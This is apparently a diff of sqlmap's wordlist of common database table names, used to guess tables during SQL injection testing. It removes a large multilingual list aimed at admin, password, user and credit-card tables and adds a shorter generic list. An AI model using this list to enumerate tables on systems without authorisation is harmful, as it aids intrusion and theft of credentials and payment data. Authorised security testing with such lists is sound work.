-uniquetest
-TypeRule
-dtb_customer
-R2Sum
-PREFIX_customer_group
-ProjectsTable
-dtb_products
-words
-dtb_question
-UM_USER_PERMISSIONS
-exam
-commande
-viktorina_ge
-dtb_products_class
-subscribe
-page_restrictions
-querycache_info
-cdv_map_feature
-oidtest
-Link_table
-guava_users
-connectormacassocs
-moduleexecs
-guava_groups
-Institution
-sconfig
-shared_secret_identity
-platforms
-BORROWER
-phpbb_acl_options
-markers
-Population
-shipping
-guava_preferences
-rating
-UserCapability
-Priority
-rec_jobs
-ezin_sections
-Descriptions_Regions
-SPACE
-geo_Sea
-DATA_ORG
-Contributor
-
-# Various Joomla tables
-jos_vm_product_download
-jos_vm_coupons
-jos_vm_product_reviews
-jos_core_acl_aro
-jos_vm_shopper_vendor_xref
-jos_stats_agents
-jos_vm_orders
-jos_poll_menu
-jos_content_rating
-jos_vm_vendor
-jos_vm_product_mf_xref
-jos_vm_export
-jos_polls
-jos_content_frontpage
-jos_vm_userfield_values
-jos_categories
-jos_poll_data
-jos_vm_manufacturer
-jos_vm_order_user_info
-jos_core_acl_groups_aro_map
-jos_messages
-jos_vm_zone_shipping
-jos_bannertrack
-jos_vm_order_status
-jos_modules_menu
-jos_vm_product_type
-jos_vm_product_type_parameter
-jos_vm_tax_rate
-jos_core_log_items
-jos_modules
-jos_users
-jos_vm_product_category_xref
-jos_vm_product_attribute
-jos_poll_date
-jos_vm_vendor_category
-jos_vm_state
-jos_vm_country
-jos_weblinks
-jos_vm_cart
-jos_vm_shipping_label
-jos_vm_manufacturer_category
-jos_vm_shopper_group
-jos_vm_product_votes
-jos_vm_currency
-jos_vm_creditcard
-jos_menu
-jos_groups
-jos_messages_cfg
-jos_vm_order_payment
-jos_content
-jos_bannerclient
-jos_vm_product_discount
-jos_core_log_searches
-jos_vm_auth_user_group
-jos_contact_details
-jos_vm_auth_group
-jos_vm_waiting_list
-jos_vm_category_xref
-jos_newsfeeds
-jos_vm_auth_user_vendor
-jos_vm_user_info
-jos_vm_function
-jos_vm_product_files
-jos_vm_userfield
-jos_vm_shipping_carrier
-jos_core_acl_aro_map
-jos_vm_shipping_rate
-jos_vm_product
-jos_vm_product_product_type_xref
-jos_core_acl_aro_groups
-jos_templates_menu
-jos_menu_types
-jos_plugins
-jos_session
-jos_vm_order_item
-jos_vm_module
-jos_vm_product_attribute_sku
-jos_vm_product_price
-jos_vm_csv
-jos_migration_backlinks
-jos_vm_product_relations
-jos_core_acl_aro_sections
-jos_vm_order_history
-jos_banner
-php_users
-ALL_USERS
-banned_users
-users_tmp
-users_club
-publicusers
-cmsusers
-
-# List provided by Anastasios Monachos (anastasiosm@gmail.com)
-blacklist
-cost
-moves
-pelates
-tamio
-tameio
-xristes
-zones
-tamio_pelates
-kwdikos
-addressbookgrp
-sendmsgs
-publicationauthor
-publicationfile
-topicpublication
-userrights
-comp_group
-computers_ID
-event_log
-networking
-routing
-software_licenses
-ips
-arxeia
-SMS_TABLE
-TABLE_PRIVILEGE_MAP
-AMUSER
-CONTACTTYPE
-CONTENT
-DOWNLOADGROUP
-DOWNLOADS
-DOWNLOADTYPE
-EMAIL
-ENQUIRY
-FACTSHEET
-FUND
-FUNDGROUP
-HISTORY
-MANAGEMENTGROUP
-SUBSCRIBE
-TBLUSERS
-TBLLIST
-TBLLOG
-TBLPROFILES
-TBLREPORTS
-TBLTRANSACTIONS
-TBLRETAILUSERS
-TBLCORPUSERS
-TBLCORPORATEUSERS
-
-# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
-tbladmins
-sort
-_wfspro_admin
-4images_users
-a_admin
-adm
-admin_login
-admin_user
-admin_userinfo
-administer
-administrable
-administrate
-administration
-administrator
-administrators
-adminrights
-adminuser
-art
-article_admin
-articles
-artikel
-aut
-autore
-backend
-backend_users
-backenduser
-bbs
-chat_config
-chat_messages
-chat_users
-clubconfig
-content
-cpg_config
-cpg132_users
-customers_basket
-dbadmins
-dealer
-dealers
-diary
-download
-Dragon_users
-e107_user
-fusion_user_groups
-fusion_users
-ibf_admin_sessions
-ibf_conf_settings
-ibf_members
-ibf_members_converge
-ibf_sessions
-icq
-index
-info
-ipb_sessions
-joomla_users
-jos_blastchatc_users
-jos_comprofiler_members
-jos_joomblog_users
-jos_moschat_users
-knews_lostpass
-korisnici
-kpro_adminlogs
-kpro_user
-login_admin
-login_admins
-login_user
-login_users
-logins
-logon
-logs
-lost_pass
-lost_passwords
-lostpass
-lostpasswords
-m_admin
-main
-mambo_session
-mambo_users
-manage
-manager
-mb_users
-member
-memberlist
-minibbtable_users
-mitglieder
-movie
-mybb_users
-mysql
-name
-names
-news_lostpass
-newsletter
-nuke_authors
-nuke_bbconfig
-nuke_config
-nuke_popsettings
-nuke_users
-obb_profiles
-parol
-partners
-passes
-password
-perdorues
-perdoruesit
-phorum_session
-phorum_user
-phorum_users
-phpads_clients
-phpads_config
-forum_users
-poll_user
-punbb_users
-pwd
-pwds
-reg_user
-reg_users
-registered
-reguser
-regusers
-cards
-site_login
-site_logins
-sitelogin
-sitelogins
-sites
-smallnuke_members
-smf_members
-SS_orders
-statistics
-superuser
-sysadmin
-sysadmins
-sysuser
-sysusers
-table
-tables
-tb_admin
-tb_administrator
-tb_login
-tb_member
-tb_members
-tb_user
-tb_username
-tb_usernames
-tb_users
-tbl
-tbl_user
-tbl_users
-tbluser
-tbl_client
-tblclients
-tblclient
-usebb_members
-user_admin
-user_info
-user_list
-user_login
-user_logins
-user_names
-usercontrol
-userinfo
-userlogins
-username
-usernames
-vb_user
-vbulletin_session
-vbulletin_user
-voodoo_members
-webadmin
-webadmins
-webmaster
-webmasters
-webuser
-webusers
-x_admin
-xar_roles
-xoops_bannerclient
-xoops_users
-yabb_settings
-yabbse_settings
-ACT_INFO
-ActiveDataFeed
-CategoryGroup
-ChicksPass
-ClickTrack
-CountryCodes1
-CustomNav
-DataFeedPerformance1
-DataFeedPerformance2
-DataFeedPerformance2_incoming
-DataFeedShowtag1
-DataFeedShowtag2
-DataFeedShowtag2_incoming
-dtproperties
-Event
-Event_backup
-Event_Category
-EventRedirect
-Events_new
-Genre
-JamPass
-MyTicketek
-MyTicketekArchive
-News
-Passwords by usage count
-PerfPassword
-PerfPasswordAllSelected
-Promotion
-ProxyDataFeedPerformance
-ProxyDataFeedShowtag
-ProxyPriceInfo
-Region
-SearchOptions
-Series
-Sheldonshows
-StateList
-States
-SubCategory
-Subjects
-Survey
-SurveyAnswer
-SurveyAnswerOpen
-SurveyQuestion
-SurveyRespondent
-sysconstraints
-syssegments
-tblRestrictedPasswords
-tblRestrictedShows
-Ticket System Acc Numbers
-TimeDiff
-Titles
-ToPacmail1
-ToPacmail2
-Total Members
-UserPreferences
-uvw_Category
-uvw_Pref
-uvw_Preferences
-Venue
-venues
-VenuesNew
-X_3945
-stone list
-tblArtistCategory
-tblArtists
-tblConfigs
-tblLayouts
-tblLogBookAuthor
-tblLogBookEntry
-tblLogBookImages
-tblLogBookImport
-tblLogBookUser
-tblMails
-tblNewCategory
-tblNews
-tblOrders
-tblStoneCategory
-tblStones
-tblUser
-tblWishList
-VIEW1
-viewLogBookEntry
-viewStoneArtist
-vwListAllAvailable
-CC_info
-CC_username
-cms_user
-cms_users
-cms_admin
-cms_admins
-user_name
-jos_user
-table_user
-mail
-bulletin
-cc_info
-login_name
-admuserinfo
-userlistuser_list
-SiteLogin
-Site_Login
-UserAdmin
-Admins
-Login
-Logins
-
-# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
-account
-accnts
-accnt
-user_id
-members
-usrs
-usr2
-accounts
-admin
-admins
-adminlogin
-auth
-authenticate
-authentication
-account
-access
-customers
-customer
-config
-conf
-cfg
-hash
-login
-logout
-loginout
-log
-member
-memberid
-password
-pass_hash
-pass
-passwd
-passw
-pword
-pwrd
-pwd
-store
-store1
-store2
-store3
-store4
-setting
-username
-name
-user
-user_name
-user_username
-uname
-user_uname
-usern
-user_usern
-un
-user_un
-usrnm
-user_usrnm
-usr
-usernm
-user_usernm
-user_nm
-user_password
-userpass
-user_pass
-user_pword
-user_passw
-user_pwrd
-user_pwd
-user_passwd
-
-# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
-wsop
-Admin
-Config
-Settings
-tbl_admin
-tbl_admins
-tbl_member
-tbl_members
-tblservers
-id
-uid
-userid
-user_id
-auid
-adminpass
-LoginID
-FirstName
-LastName
-cms_member
-cms_members
-Webmaster
-Webuser
-tbl_tbadmin
-Adminlogin
-useraccount
-nguoidung
-quanly
-quantri
-dangnhap
-taikhoan
-taikhoanquantri
-useraccounts
-nguoidungs
-tbuser
-tblogin
-tbadmin
-tbaccount
-tbuseraccount
-tbnguoidung
-tbllogin
-tbladmin
-tblaccount
-tbluseraccount
-tblnguoidung
-tbusers
-tblogins
-tbadmins
-tbaccounts
-tbuseraccounts
-tbnguoidungs
-tbllogins
-tblaccounts
-tbluseraccounts
-tblnguoidungs
-tb_account
-tb_useraccount
-tb_nguoidung
-tbl_login
-tbl_account
-tbl_useraccount
-tbl_nguoidung
-tb_logins
-tb_accounts
-tb_useraccounts
-tb_nguoidungs
-tbl_logins
-tbl_accounts
-tbl_useraccounts
-tbl_nguoidungs
-tb_admins
-adminid
-admin_id
-adminuserid
-admin_userid
-AdminUID
-adminusername
-admin_username
-adminname
-admin_name
-usr
-usr_n
-usrname
-usr_name
-usrnam
-useradmin
-apwd
-adminpaw
-adminpwd
-admin_pwd
-admin_pass
-adminpassword
-admin_password
-usrpass
-usr_pass
-pass
-userpass
-user_pass
-dbaccount
-dbstudent
-dbstudents
-dbadmin
-useres
-dbuser
-dbusers
-personal
-dbpersoon
-list
-lists
-dblist
-userpassword
-user_password
-userpwd
-user_pwd
-SecurityLevel
-LastLoginDate
-LoginIP
-pword
-ad
-Konto
-Konten
-admin_psw
-verwalten
-verwaltet
-administrieren
-Verwaltung
-Administratoren
-adminpsw
-adminupass
-Kunst
-Artikel
-Autor
-Buch
-chat
-Kunden
-tblnews
-banner
-options
-general
-upload
-uploads
-file
-akhbar
-sb_host_admin
-Firma
-contenu
-Kontakt
-Kontakte
-Inhalt
-Kontrolle
-controle
-Kunde
-Tagebuch
-herunterladen
-dw
-glmm
-gly
-us
-stnuser
-stuser
-stusers
-stuseres
-dbstaff
-db_staff
-staff_db
-database
-databases
-test_user
-user_test
-test_users
-users_test
-Gruppe
-Gruppen
-guanli
-guanliyuan
-h_admin
-Bilder
-Mitgliederbereich
-key
-keywords
-Anmeldung
-Protokolle
-Mitglied
-Mitgliederliste
-Mitglieder
-mima
-mm
-mpassword
-musername
-Film
-Filme
-nc
-new
-Namen
-Auftrag
-Bestellungen
-Passwort
-power
-psw
-pswd
-pw
-pwd1
-jhu
-webapps
-ASP
-Microsoft
-sing
-singup
-singin
-registeration
-reg
-registriert
-root
-roots
-Tagung
-Sitzungen
-Einstellungen
-Standorte
-Statistiken
-sys
-Systemadministratoren
-systime
-Tisch
-Tabellen
-Titel
-u
-u_n
-u_name
-u_p
-u_pass
-Benutzer
-user_pw
-Benutzerliste
-userpasswd
-usr_pw
-usrs
-Benutzername
-Benutzernamen
-vip
-Webbenutzer
-sb_host_adminActiveDataFeed
-Kategorie
-Land
-Suchoptionen
-Serie
-Staaten
-UnterkKlasse
-Umfrage
-TotalMembers
-Veranstaltungsort
-Veranstaltungsorte
-Ansicht1
-utilisateur
-trier
-compte
-comptes
-administrer
-administrables
-administrateur
-administrateurs
-auteur
-livre
-entreprise
-concessionnaire
-concessionnaires
-telecharger
-groupe
-groupes
-liens
-connexion
-principal
-gestionnaire
-membre
-membres
-films
-nom
-noms
-ordre
-commandes
-partenaire
-partenaires
-passe
-asse
-enregistrs
-paramtres
-statistiques
-super
-tester
-utilisateurs
-intranet_users
-utlisateur
-Catogorie
-Pays
-Sujets
-Sondage
-Titres
-Lieux
-Affichage1Affichage1edu
-win
-pc
-windows
-mac
-edu
-bayviewpath
-bayview
-server
-slserver
-ColdFusion8
-ColdFusion
-Cold
-Fusion8
-Fusion
-ststaff
-sb_host_adminAffichage1
-Affichage1
-yhm
-yhmm
-Affichage1name
-sb_host_adminAffichage1name
-
-# site:jp
-TypesTab
-
-# site:it
-utenti
-categorie
-attivita
-comuni
-discipline
-Clienti
-gws_news
-SGA_XPLAN_TPL_V$SQL_PLAN
-emu_services
-nlconfig
-oil_bfsurvey_pro
-oil_users
-oil_menu_types
-oil_polls
-Accounts
-oil_core_log_searches
-SGA_XPLAN_TPL_V$SQL_PLAN_SALL
-oil_phocadownload_categories
-gws_page
-oil_bfsurveypro_choices
-oil_poll_data
-oil_poll_date
-argomento
-oil_modules
-ruolo
-oil_contact_details
-emu_profiles
-user_connection
-oil_poll_menu
-jos_jf_tableinfo
-oil_templates_menu
-oil_messages_cfg
-oil_biolmed_entity_types
-oil_phocagallery_votes
-oil_core_acl_aro
-regioni
-oil_modules_menu
-dati
-gws_admin
-oil_phocagallery_user_category
-articoli
-oil_content_frontpage
-cron_send
-oil_biolmed_measures
-comune
-SGA_XPLAN_TPL_DBA_TABLES
-esame
-oil_session
-oil_phocadownload_licenses
-oil_weblinks
-oil_messages
-oil_phocagallery_votes_statistics
-dcerpcbinds
-oil_jf_content
-SGA_XPLAN_TPL_DBA_CONS_COLUMNS
-SGA_XPLAN_TPL_DBA_IND_COLUMNS
-gruppi
-Articoli
-gws_banner
-gws_category
-soraldo_ele_tipo
-db_version
-SGA_XPLAN_TPL_DBA_TAB_COLS
-oil_biolmed_thesis
-jos_languages
-mlmail
-SGA_XPLAN_TPL_V$SQLTEXT_NL
-oil_bannertrack
-oil_core_log_items
-oil_rokversions
-oil_bfsurveypro_34
-oil_bfsurveypro_35
-oil_google_destinations
-gws_product
-oil_jf_tableinfo
-oil_phocadownload
-oil_biolmed_blocks
-oil_bfsurvey_pro_example
-oil_bfsurvey_pro_categories
-oil_bannerclient
-oil_core_acl_aro_sections
-SGA_XPLAN_TPL_V$SQL
-oil_biolmed_land
-connections
-not_sent_mails
-sga_xplan_test
-oil_languages
-utente
-documento
-gws_purchase
-oil_plugins
-oil_phocagallery
-oil_menu
-oil_biolmed_measures_by_entity_types
-offers
-anagrafica
-gws_text
-oil_groups
-oil_content_rating
-sent_mails
-oil_banner
-oil_google
-gws_jobs
-eventi
-mlattach
-oil_migration_backlinks
-oil_phocagallery_categories
-downloads
-mlgroup
-oil_sections
-decodifica_tabelle
-oil_phocagallery_img_votes
-oil_phocagallery_img_votes_statistics
-oil_dbcache
-oil_content
-p0fs
-oil_biolmed_entity
-oil_rokdownloads
-oil_core_acl_groups_aro_map
-gws_client
-decodifica_campi
-oil_phocagallery_comments
-oil_categories
-oil_newsfeeds
-oil_biolmed_measurements
-oil_phocadownload_user_stat
-oil_core_acl_aro_groups
-SGA_XPLAN_TPL_V$SQL_PLAN_STAT
-oil_core_acl_aro_map
-dcerpcrequests
-oil_phocadownload_sections
-oil_components
-discipline_utenti
-jos_jf_content
-oil_phocadownload_settings
-SGA_XPLAN_TPL_DBA_CONSTRAINTS
-oil_biolmed_technician
-oil_stats_agents
-SGA_XPLAN_TPL_DBA_INDEXES
-
-# site:fr
-Avion
-departement
-Compagnie
-produits
-spip_auteurs
-BDDJoueurs_alliance
-spip_articles
-spip_syndic
-pays
-spip_auteurs_rubriques
-spip_mots_forum
-spip_signatures
-diplomatie
-spip_mots_breves
-spip_forum
-spip_auteurs_messages
-spip_documents
-spip_messages
-spip_index_dico
-spip_meta
-spip_petitions
-spip_mots_syndic
-spip_types_documents
-etudiant
-spip_groupes_mots
-spip_documents_articles
-spip_rubriques
-spip_breves
-agenda
-BDDJoueurs_colonies
-spip_mots_articles
-spip_mots
-spip_syndic_articles
-spip_auteurs_articles
-spip_mots_rubriques
-BDDJoueurs
-modulephoto
-nuke_cities
-forums
-nuke_banner_positions
-nuke_subscriptions
-nuke_downloads_categories
-nuke_journal_comments
-nuke_bbranks
-spip_documents_rubriques
-nuke_confirm
-service
-nuke_bbthemes_name
-nuke_autonews
-nuke_bbdisallow
-nuke_reviews_add
-EDITEUR
-nuke_links_newlink
-nuke_faqcategories
-etudiants
-nuke_stats_year
-nuke_bbsmilies
-spip_mots_documents
-spip_documents_breves
-nuke_bbsearch_results
-post
-nuke_users_temp
-nuke_blocks
-nuke_reviews_main
-themes
-nuke_modules
-nuke_banner_plans
-nuke_links_votedata
-spip_referers
-inscription
-BONUS
-nuke_links_editorials
-nuke_topics
-nuke_bbprivmsgs_text
-chatbox
-nuke_referer
-nuke_bbauth_access
-nuke_journal_stats
-nuke_faqanswer
-nuke_banner_terms
-message
-nuke_bbvote_voters
-nuke_pages_categories
-spip_index
-modulerubriquephoto
-spip_visites
-Role
-nuke_public_messages
-actualites
-nuke_reviews_comments
-nuke_downloads_votedata
-nuke_headlines
-nuke_downloads_editorials
-enseignant
-modulemessage
-nuke_session
-nuke_queue
-nuke_main
-nuke_bbposts
-spip_ortho_cache
-Enseignant
-nuke_downloads_newdownload
-sons
-plurielanim
-nuke_bbforums
-nuke_bbsearch_wordmatch
-nuke_bbvote_results
-nuke_stats_date
-nuke_bbwords
-nuke_bbcategories
-typecompte
-nuke_stories
-nuke_stats_month
-personne
-etablissement
-nuke_counter
-indexation
-nuke_poll_desc
-nuke_links_links
-nuke_bbtopics
-Utilisateurs
-nuke_related
-nuke_downloads_downloads
-spip_versions_fragments
-nuke_bbgroups
-nuke_bbtopics_watch
-nuke_bbuser_group
-nuke_downloads_modrequest
-spip_versions
-Joueur
-nuke_bbsessions
-nuke_links_categories
-directeur
-Etudiant
-nuke_bbposts_text
-nuked_page
-Personne
-nuke_bbbanlist
-Parametre
-nuke_pollcomments
-nuke_bbforum_prune
-nuke_pages
-nuke_links_modrequest
-nuke_stats_hour
-nuke_groups_points
-nuke_reviews
-nuke_bbthemes
-modulemailling
-agence
-nuke_encyclopedia
-nuke_bbsearch_wordlist
-nuke_message
-Equipe
-nuke_comments
-nuke_poll_check
-nuke_journal
-nuke_stories_cat
-nuke_banner
-nuke_groups
-spip_visites_articles
-nuke_encyclopedia_text
-spip_referers_articles
-nuke_bbvote_desc
-Artiste
-nuke_poll_data
-nuke_bbprivmsgs
-spip_ortho_dico
-spip_caches
-
-# site:ru
-guestbook
-binn_forum_settings
-binn_forms_templ
-binn_catprops
-currency
-binn_imagelib
-binn_news
-phpshop_opros_categories
-binn_articles_messages
-binn_cache
-binn_bann_temps
-binn_forum_threads
-voting
-binn_update
-terms
-binn_site_users_rights
-binn_vote_options
-binn_texts
-binn_forum_temps
-binn_order_temps
-binn_basket
-binn_order
-binn_system_log
-binn_vote_results
-binn_articles
-phpshop_categories
-binn_maillist_temps
-binn_system_messages
-binn_articles_temps
-binn_search_temps
-banners
-binn_imagelib_templ
-binn_faq
-binn_bann
-phpshop_news
-binn_menu_templ
-binn_maillist_settings
-binn_docs_temps
-binn_bann_restricted
-phpshop_system
-binn_calendar_temps
-binn_forum_posts
-binn_cform_settings
-phpshop_baners
-phpshop_menu
-binn_forms_fields
-binn_cform_list
-binn_vote
-phpshop_links
-mapdata
-binn_submit_timeout
-binn_forum_themes_temps
-binn_order_elems
-binn_templates
-binn_cform
-binn_catalog_template
-binn_ct_templ_elems
-binn_template_elems
-binn_rubrikator_tlevel
-binn_settings
-binn_pages
-binn_users
-binn_categs
-binn_page_elems
-binn_site_users_temps
-binn_vote_temps
-binn_rubrikator_temps
-binn_faq_temps
-binn_sprav
-setup_
-binn_basket_templ
-binn_forum_maillist
-binn_news_temps
-phpshop_users
-binn_catlinks
-binn_sprav_temps
-binn_maillist_sent
-binn_forms_templ_elems
-jubjub_errors
-binn_maillist
-binn_catrights
-binn_docs
-binn_bann_pages
-binn_ct_templ
-binn_menu
-binn_user_rights
-binn_cform_textarea
-binn_catalog_fields
-vykachka
-binn_menu_tlevel
-phpshop_opros
-binn_form39
-binn_site_users
-binn_path_temps
-order_item
-
-# site:de
-tt_content
-kunde
-medien
-Mitarbeiter
-fe_users
-dwp_wetter
-dwp_popup
-voraussetzen
-dwp_foto_pictures
-dwp_karte_speisen
-dwp_news_kat
-dwp_structur
-dwp_foto_album
-dwp_karte_kat
-bestellung
-dwp_content
-be_users
-Vorlesungen
-dwp_content_pic
-dwp_link_entries
-dwp_ecard_album
-persons
-dwp_buchung_hotel
-dwp_link_kat
-dwp_news_absatz
-Assistenten
-Professoren
-Studenten
-dwp_ecard_pictures
-lieferant
-dwp_bewertung
-mitarbeiter
-gruppe
-dwp_news_head
-wp_post2cat
-phpbb_forum_prune
-crops
-mein_doc
-artikel_kategorie
-kategorien
-rel_person_paper
-tx_tcdirectmail_bounceaccount
-Akten
-skins
-riddles
-ci_slogans
-phpbb_vote_voters
-account_map_event
-roles
-stellen
-meetings
-special_category
-rel_paper_topic
-kbase_category
-attribut
-phpbb_auth_access
-zo_gruppe_stelle
-zo_kontakt_stelle
-hoeren
-shop_settings
-tutorial
-motd_coding
-artikel_variationsgruppen
-dwp_kontakt
-papers
-gesuche
-zahlung_weitere
-ts2_server_privileges
-artikel_variationen
-artikel_optionen
-chessgames
-portale
-products_images
-phpbb_privmsgs_text
-kurs
-KUNDE
-wp_linkcategories
-tx_tcdirectmail_targets
-tx_templavoila_datastructure
-Adresse
-bestellung_kunde
-rel_person_topic
-css_file
-visual
-account_multi
-Adressen
-phpbb_words
-phpbb_disallow
-kauf_artikel
-music_association
-phpbb_banlist
-dokumente
-greylist
-backup
-map_event
-kreditkarte
-house_extensions
-address_book
-crops_tpl
-phpbb_vote_desc
-versandkostenpreise
-pruefen
-gruppen
-vertreter
-phpbb_confirm
-verkaeufer
-be_groups
-rel_person_organization
-phpbb_privmsgs
-buecher
-kategorie
-phpbb_sessions
-phpbb_search_results
-studierende
-user_online_newyear
-hersteller
-object_link
-adresse
-address_format
-newsletter_recipients
-PERMISSIONS
-user_uploads_pictures
-festplatte
-veranstalter
-mein_doc_h
-tx_tcdirectmail_clicklinks
-phpbb_vote_results
-phpbb_topics_watch
-tx_tcdirectmail_lock
-account_map
-standort
-gd
-delete_reasons
-tx_tcdirectmail_sentlog
-valhalla
-vis_typen
-counter
-kbase_main
-music_items
-kauf
-payment_qenta
-seite_abschnitt
-trivia
-mehrwertsteuer
-massenmail
-klassen
-hilfe
-geraet
-tt_address
-dg_books
-portal_access
-orders_recalculate
-artikel_bestellung
-kontakt
-chesshistory
-notizen
-seite_layout
-virgator_table
-wp_categories
-chessmessages
-
-# site:br
-endereco
-pessoa
-usuarios
-estado
-pedidos
-CLIENTE
-itens
-telefone
-empresa
-PRODUTO
-categoria
-cidades
-clientes
-produtos
-municipio
-cliente
-LT_PROCEDIMENTO
-calendario
-D_US_FAVORITOS
-moradia
-pessoa_telefone
-contador
-aidf
-resumo
-add_irm
-M_ESQUEMA_PERMISSAO
-duvida
-LT_METODO_ATUALIZACAO
-M_RELATORIOS
-LT_SERIE
-estados
-LT_OBJETO
-cidade
-declaracaonf
-especieaidf
-S_SESSOES
-D_PR_HONORARIOS
-empresa_atividade
-correcaostrategy
-jos_docman_groups
-D_US_RECENTE
-notafiscal
-solicitacao
-pessoa_endereco
-atividade
-M_FATURAS
-D_PR_APENSOS
-agencia
-LT_LANCAMENTO
-D_US_AREA_DE_TRABALHO
-D_FA_ITENS
-dist_universidade
-multastrategy_faixamulta
-LT_TIPO_DE_ACAO
-D_PR_EVENTOS
-D_FA_PARCELAS
-tipodeducao
-D_PR_PARCELAMENTO
-sala
-D_US_EQUIPES_DO_USUARIO
-cidadao
-documentos
-S_GLOBAL
-M_CADASTRO_GERAL
-jos_docman_licenses
-guiaavulsa
-solicitacaosenha
-M_CUBOS
-promocoes
-grau_escolaridade
-imagens
-multastrategy
-D_PR_PARTES
-processo
-gestor
-imagem
-categorias
-LT_CLASSE_FORO
-jurosstrategy
-deducao
-S_PARAMETROS
-notafiscal_deducao
-CAIXA
-foto
-M_FERIADOS
-S_ORIGENS
-guiaavulsa_itemguiaavulsa
-situacaoitem
-notafiscal_itemnotafiscal
-cotacao
-papel
-M_EMAIL_FILA
-D_PR_OBJETOS
-dados_prefeitura
-S_LOG
-LT_FASE
-D_PR_ADVOGADOS
-M_USUARIO
-projeto
-LT_SITUACAO
-D_PR_CUSTAS
-grupoatividade
-LT_NATUREZA
-membros_familia
-instituicao
-emprestimos
-itemguiaavulsa
-D_EM_DESTINATARIO
-LT_GRUPO
-S_SEQUENCIAS
-itemnotafiscal
-disciplina
-jos_docman
-autorizacaonfe
-tipo_bolsa
-estoque
-LT_JURISDICAO
-serie
-sse_estudante
-LT_FOROS
-perfil
-despesa_familia
-noticias
-LT_GARANTIA
-M_ESQUEMA_HORARIO
-MM_NOTIFICACOES_DO_PROCESSO
-jos_jce_plugins
-grau_parentesco
-D_PR_GARANTIAS
-M_SERVICOS_PRESTADOS
-LT_CATEGORIA
-faixamulta
-encerramento
-M_PROCESSOS
-dados_familia
-MM_USUARIOS_DO_PROCESSO
-LT_ENCERRAMENTO
-LT_DECISAO
-indice
-contador_empresa
-sse_familia
-D_SE_INDICES
-cursos
-estado_civil
-dados_estudante
-LT_EQUIPES
-LT_PROGNOSTICO
-LT_EVENTO
-jos_jce_groups
-D_PR_DOCUMENTOS
-D_PR_DESDOBRAMENTOS
-logradouro
-despesa_aluno
-fiscal
-LT_CUSTOM4
-convite
-manutencao
-LT_CUSTOM1
-LT_CUSTOM2
-LT_CUSTOM3
-
-# site:es
-jos_respuestas
-DEPARTAMENTO
-EMPLEADO
-TRABAJA_EN
-DEPENDIENTE
-LOCALIZACIONES_DEPT
-PROYECTO
-lineas_fac
-pueblos
-NUEVOS
-CENTROS
-BANCOS
-PERSONAL
-SUCURSALES
-PRODUCTOS
-provincias
-jos_estadisticas
-USUARIO
-ALUM
-MOVIMIENTOS
-ACTOR
-nuke_gallery_rate_check
-ANTIGUOS
-CUENTAS
-vendedores
-CLIENTES
-articulos
-DEPARTAMENTOS
-PROFESORES
-jos_preguntas
-PEDIDOS
-EMPLEADOS
-nuke_gallery_pictures_newpicture
-Books
-grupo
-facturas
-
-# site:cn
-url
-cdb_adminactions
-BlockInfo
-cdb_attachtypes
-cdb_attachments
-mymps_lifebox
-cdb_buddys
-mymps_payapi
-LastDate
-cdb_medals
-mymps_payrecord
-cdb_forumlinks
-cdb_adminnotes
-cdb_admingroups
-cdb_creditslog
-stkWeight
-mymps_checkanswer
-cdb_announcements
-cdb_bbcodes
-cdb_advertisements
-cdb_memberfields
-mymps_telephone
-cdb_forums
-cdb_forumfields
-cdb_favorites
-cdb_banned
-cdb_crons
-cdb_access
-cdb_invites
-sysmergeschemaarticles
-CodeRuleType
-cdb_membermagics
-cdb_imagetypes
-cdb_memberspaces
-cdb_campaigns
-pw_wordfb
-cdb_paymentlog
-cdb_adminsessions
-pw_adminset
-seen
-t_snap
-MSmerge_altsyncpartners
-zl_deeds
-pw_styles
-pw_announce
-cdb_pluginvars
-pw_smiles
-cdb_modworks
-ncat
-mymps_member_tpl
-pw_threads
-zl_admin
-cdb_onlinetime
-cdb_mythreads
-cdb_members
-spt_datatype_info
-mymps_certification
-mymps_badwords
-seentype
-mymps_cache
-zl_article
-spt_datatype_info_ext
-cdb_debateposts
-mymps_corp
-mymps_member_album
-mgbliuyan
-pw_schcache
-zl_finance
-pw_banuser
-mymps_news
-cdb_pluginhooks
-mymps_member_docutype
-wp1_categories
-cdb_magicmarket
-MSmerge_errorlineage
-cdb_activities
-zl_baoming
-cdb_orders
-ad_ad
-cdb_pms
-cdb_magics
-cdb_itempool
-phpcms_announce
-pw_actions
-pw_msg
-mymps_news_img
-cdb_debates
-cdb_magiclog
-pw_forums
-mymps_channel
-cdb_polls
-t_stat
-pw_attachs
-cdb_plugins
-pw_membercredit
-cdb_posts
-mymps_member_category
-cdb_activityapplies
-zl_media
-acctmanager
-pw_usergroups
-cdb_faqs
-cdb_onlinelist
-pw_hack
-mymps_member_comment
-Market
-mymps_config
-mymps_mail_template
-mymps_advertisement
-MSrepl_identity_range
-pw_favors
-mymps_crons
-pw_config
-pw_credits
-cdb_failedlogins
-mymps_member_docu
-pw_posts
-cdb_attachpaymentlog
-cdb_myposts
-cdb_polloptions
-wp1_comments
-cdb_caches
-pw_members
-mymps_upload
-spt_provider_types
-pw_sharelinks
-pw_tmsgs
-pw_polls
-cdb_moderators
-pw_bbsinfo
-aliasregex
-userfiles
-acctmanager2
-cdb_pmsearchindex
-mymps_news_focus
-cdb_forumrecommend
-publishers
-zl_advertisement
-guanggaotp
-pw_memberinfo
-aliastype
-mymps_mail_sendlist
-mymps_navurl
-
-# List provided by Pedrito Perez (0ark1ang3l@gmail.com)
-adminstbl
-admintbl
-affiliateUsers
-hsa_user
-tblmanager
-tblmanagers
-tblproduct
-tblproducts
-tuser
-tusers
-userstbl
-usertbl
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+# See the file 'LICENSE' for copying permission
+
+users
+customer
+user
+orders
+employee
+x_world
+category
+project
+account
+customers
+country
+config
+groups
+inventory
+department
+categories
+messages
+person
+comments
+sessions
+student
+items
+employees
+language
+accounts
+product
+CUSTOMER
+faculty
+location
+item
+authors
+parts
+members
+countries
+status
+menu
+dependent
+modules
+role
+products
+page
+chart
+task
+posts
+DEPT
+Person
+user_role
+ORDERS
+emp
+album
+EMP
+log
+INVENTORY
+payments
+part
+permission
+contact
+borrower
+report
+color
+admin
+SALGRADE
+PRODUCT
+vendor
+tax
+branch
+projects
+data
+course
+jobs
+watchlist
+shipment_line
+CATEGORY
+categoryNames
+attributeCategory
+db
+PS_DMK
+study
+event
+invoice
+order_source
+topics
+students
+order_line
+regions
+CPG_config
+news
+dept
+permissions
+events
+shipment
+sections
+ITEM
+hosts
+form_definition_version
+alias
+people
+role_permission
+applications
+CPG_usergroups
